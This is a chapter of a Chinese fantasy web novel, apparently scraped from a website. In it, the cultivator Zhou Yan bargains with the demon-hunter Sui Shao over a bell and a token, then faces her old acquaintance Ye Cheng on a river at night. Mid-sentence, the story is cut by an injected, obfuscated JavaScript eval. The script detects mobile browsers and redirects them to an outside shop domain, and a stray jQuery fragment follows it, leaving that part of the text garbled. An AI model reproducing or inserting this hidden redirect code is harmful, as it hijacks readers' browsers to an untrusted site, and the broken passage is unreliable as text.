夜色渐深,望江楼的灯火熄了大半,一个不起眼的马厩旁,还有人在孜孜不倦的砍柴。
“叶承哥,我不行了。”承缘把斧头一扔,瘫在一旁的草堆里,抱怨道,“这也太难砍了,一不小心就劈得稀巴烂,你是怎么砍得那么均匀的?”
“你用了法力?”叶承忙着劈柴,头也没抬问。
“当然,不然要劈到什么时候。”
“别用法力,正常劈,收三分力道,顺着纹路......”话还未说完,叶承忽然皱了皱眉,若有所感的抬起头。
他一把将斧头扣在木桩上,飞身掠上屋顶。
一轮秋月在高空中安静悬挂着,流水般的清辉簌簌落满整个人间。唯有靠近江畔的那一片天仿佛像一面黯淡无光的铜镜,将月色吸进水面,再无声息。
“怎么了?”承缘攀上屋檐,探头问。
“有妖鬼现身。”说完,他脚下轻点瓦片,人便如一片落叶般飘起,转瞬便消失在原地。
承缘:“......”
他认命爬上屋顶,跑跳着跟上。
“等等我啊哥!”
*
朦胧夜色里,几艘画舫依旧停在江心,一动不动,只偶尔随着水面的起伏摇晃两下。
船上,随着那三声铃响,陆续有人清醒过来,但没人说话,所有人的目光都聚集在那位手持铜铃的女子身上。
薄雾缓缓散去,她们看清了这女子的长相。
灰扑扑的面容、疏淡的眉眼,是一副普普通通、平平无奇,掉进人堆里便找不出来的模样。
随绍却依旧目不转睛的死死盯着她。
渐渐清醒过来的斩妖使闹不清楚现在是什么状况,只站在随绍身后,拔刀戒备的看着那女子。
只见那女子勾着铃铛的手忽的向回一撤,那枚看上去大有来头的铜铃就这么消失在了半空中。
随后,她掸了掸自己衣袍,指着一旁已经晕过去多时的少年:“看我做什么,还不快救人?”
声音轻飘飘的,带着些若有若无笑意,在月光里悠悠荡开。很好听,好听到和这幅面容都有些不相称了。
不,不是她。
随绍松了呼吸,垂眸掩去眼底怅然,挥了挥手,一旁的手下撩起粉色裙摆就去抬人。
再抬眼,她那点黯然情绪烟消云散,重新扬起笑容,走到周晏面前冲她抱拳,朗声道:“多谢高士出手相助。”
宗朔以武立国,多修者和能人异士,以除妖伏鬼为己任,高士,便是对这类人的尊称。
随绍:“我叫随绍,敢问高士尊姓大名?来自何门何派?”
“周清,一介散修。”周晏面不改色披上了惯用的假名。
随绍闻言愣了愣,随后一拍大腿,竖起大拇指赞道:“散修好啊!自由自在无拘无束,想做什么做什么,不像我们成天风里来雨里去,没个歇的。我观高士步履之间自有法度,举手投足不露锋芒,一看就知根基不凡、修为深厚,想来也无需外物辅助修行。”
一车轱辘的好话从她嘴里滚了出来。
周晏挑眉:“你想说什么。”
“呃……”
随绍搓了搓手,不好意思问道:“高士手里的铃铛卖不卖?我出五千下品灵石。”
周晏:“......”
就知道这丫头没憋好屁,多年不见,倒是越来越会做生意,五千下品灵石想买天字级法器?把她当猴耍呢。
“不卖。”周晏扭头就走。
“等等!我说错了!是五千上品灵石!!”
这倒差不多。
周晏回过头来,看向随绍,吐出两个字:“可以。”
随绍眼睛一亮。
“但我有一个小要求。”周晏伸出一根手指在空中晃了晃,笑眯眯道。
“高士请说。”
“无定城妖鬼霍乱案的查办,需要再添两人。”
刚说完,周晏便见随绍神色一凝,透出几分警惕,张口便要拒绝。只是还未等她开口,周晏便从怀里摸出一样东西。
那是一块玄铁所铸的令牌,两边雕着饕餮纹,中间刻一个漆黑的“协”字,在黑暗里泛着冷光。
随绍瞳孔骤缩。
玄色!天字级协行客令牌!
协行客令牌并不少见,持有者大多都是些五湖四海的修者,这些修者不愿受朝廷管束,但又愿意帮助猎妖堂斩杀妖鬼,凭此,每年也能领一些修行所需的俸禄当做报酬。
少见的是这令牌刻字的颜色。
猎妖堂令牌等级按红、黄、白依次向下排列。她令牌上的刻字便是红色,而自猎妖堂建立以来唯一有资格使用玄字的,只有那一人。
随绍面色微变,猛然抬头看向周晏双眸:“这牌子是谁给你的?”
“天字玄铁令牌,还能是谁,自然是晏安君。”
“你们认识?”
“几面之缘,交情尚可。”
见随绍不说话了,周晏晃了晃手里的牌子:“放心,我一介散修,此行只是为了赚些俸禄。你们的查案进程我概不干涉,有事寻我帮忙,就算走个过场,在今年协行的册子上记下我的名字,行吗?”
随绍盯着令牌看了许久,想到此人虽来历有些不大清楚,但却手握天字级协行令,那是她的东西,绝无可能在不知情的情况下被其他人夺走。也就是说,这人的协行令,一定是她亲手给的。算了……这个周清今日也确实帮了忙。
想半晌,随绍终于妥协道:“行。”
话音刚落,远处忽然传来激烈的打斗声。
随绍立刻握住腰间佩刀,向前两步查看。
周晏转过身去,便见苍苍茫茫江面上,一叶小舟被不知哪里来的妖风刮得起起伏伏,一会儿荡到天上一会儿摔回江面,两道漆黑人影就在那方寸之地上上下下的动起了手。
还有一个人在船上急的来回转悠,不知道想干什么。
周晏:“......”
好眼熟的三个人。
“不知是哪来的好汉,偏要在这里寻仇,招来妖鬼够他们喝一壶的。”随绍皱眉看向那叶小舟,打算叫下属去打声招呼,刚转过头来便见周晏面露异色,便问:“高士认识?”
周晏微笑摇头:“不认识。”
随绍有些狐疑的瞥了眼周晏,招手让两名斩妖使过去把人按住,然而那两人还没飞到小舟上,只听“砰”的一声,小舟终于承受不住两边法力对轰,骤然炸开。
“......”
周晏嘴角一抽,足尖点地,纵身而起,瞬间便飞到那两位“好汉”交手处,接住即将落到江里的一人。
怀珠扶着周晏手臂,咳嗽两声,拭脸上水珠,内疚道:“抱歉姨母,我没看好船。”
周晏轻叹一声:“无事。”
将人带回画舫。
随绍抱着刀靠在船舷上,哈哈大笑:“不是说不认识吗?”
她凑上前来八卦:“你相好?”
“我外甥。”
随绍抬眉,震惊:“你有这么大个外甥?!”
周晏没有回答,看着前方,有两人落在了甲板上。
随绍顺着她的目光看去,只见一人穿圆领长袍,扎着马尾,衣服有些凌乱,面色讪讪。另一人……长得着实有些打眼,穿着直裰,卷起袖袍,露出大半截修长手臂,蹙眉盯着周晏身旁的怀珠,周身寒气四溢。
来者不善啊。
随绍看看那人,再看看周晏,提醒道:“别在这里打起来哈,官家的船,坏了不好交代。”
“放心,打不起来。”周晏越过随绍走向叶承和承缘。
见周晏抬步过来,承缘立刻开口喊:“晏......”才发出一点声音便忽然感觉喉咙一紧,竟是半个字也吐不出来了。
他倏地睁圆了眼,不可置信的看着眼前这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766978|209742||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一直面带笑容,温柔可亲的神君。
周晏没看他,径直走到叶承面前。
叶承蹙着眉,启唇正要说些什么,话还没出口,就见周晏摊开手掌,语气温厚道:“船是租来的,要赔给人家,抹个零头,你给我五十两白银就好。”
叶承:“......”
看戏的随绍噗嗤一笑,这周清比她还黑,一艘普通游船的市价是二十两,她开口就翻了一翻。
叶承深吸一口气,盯着周晏咬牙问道:“你手下人拦着不让我过来什么意思?”
周晏扬眉,目光扫过怀珠,心知他拦着这两人可能是怕他们暴露她身份,嘴上却道:“可能为了你们的安危着想?”毕竟方才有妖鬼现身。
叶承没想到她能这么不要脸,微微睁大了眼,伪装成黑色的眼瞳里隐隐透出些金光。
糟了,多年不见,这厮怎么越来越沉不住气。
周晏觑着他迅速气得飞红的眼尾和周身隐隐有些溢出的法力,感觉有些不太妙,正欲重新开口打个圆场,却被打断。
“周姑娘和猎妖堂的人很熟?”叶承盯着周晏灰扑扑的面容看了一会,又在一旁打着哈欠的随绍身上转了一圈,重新落回周晏身上。
“……”
周晏看着叶承,微微眯起眼。
他在拿她的身份威胁她。
见两人还没聊妥,气氛反而越来越紧张,随绍慢慢站直了身体。
“姨母。”就在两人对峙之时,怀珠缓缓走上前来,对周晏道,“毁船也有我的责任,钱我来赔就好。”
叶承眸色微变,抬头:“你叫她什么?”
怀珠垂眸不语。
“……”
总不能一直这么僵着,周晏转头问随绍:“天色已晚,请问猎妖堂的人下榻何处?”
“镇西大将军府。”既然答应合作,决定信任,便没什么好犹豫的,随绍答得很痛快。
周晏:“明日去将军府拜访,不知是否方便?”
随绍扬眉,指向船舱内的少年:“你今日救了将军家小公子,自然是极为方便的。”
周晏笑道:“那好,我们便不叨扰诸位了,明日见。”
随绍目光扫过面前四人,笑着挥了挥手:“明日见!”
周晏抬手,掌心现出一盏金莲法器,她指尖抵着法器一端轻轻一转,层层开放的莲花状金光顿时将四人笼罩。
金光散去,甲板上哪里还有这几人踪迹?
随绍看着几人消失的方向,愣了愣。
穿着娇嫩粉色衣裙的黑脸大汉提着裙摆蹑手蹑脚凑到随绍跟前:“头儿,这几个谁啊?看着来头不小的样子。”
头儿没理他。
黑脸大汉摸了摸鼻尖,就要退下。
下一刻,身边忽然爆发一声震破云霄的呐喊,黑脸大汉惊得跳起。
“我*!她还有九转金莲!”
......
江水不舍昼夜的向着一个方向疾驰而去。
某处寂静的江岸忽然绽开一朵金莲,如昙花般现了一瞬又消散了去,只留下四道人影。
周晏指尖轻轻在腰间佩囊上一点,一袋银子便出现在她手中,她将钱袋递给怀珠:“你先去赔给船家。”
怀珠接过钱袋,不动声色看了眼周晏神色,转身离开。
承缘看看眼前脸色不太好看的两人,本能的感觉到了风雨欲来,尴尬的咳了咳,忽然发现自己能出声了,果断道:“我和怀珠一起去赔钱!”
说完,脚步向外一滑,转眼溜得没影,只远处隐约传来“怀珠等等我啊”的声音。
岸边顿时只剩下两个人。
江水拍岸的声音在安静的夜里显得格外清晰,微风带来它的气味,和海水的咸涩不同,江水泛着一种淡淡的腥味,还带着些腐草和泥沙的气息。
“我竟不知你还有个好外甥。”叶承率先开口打破沉默。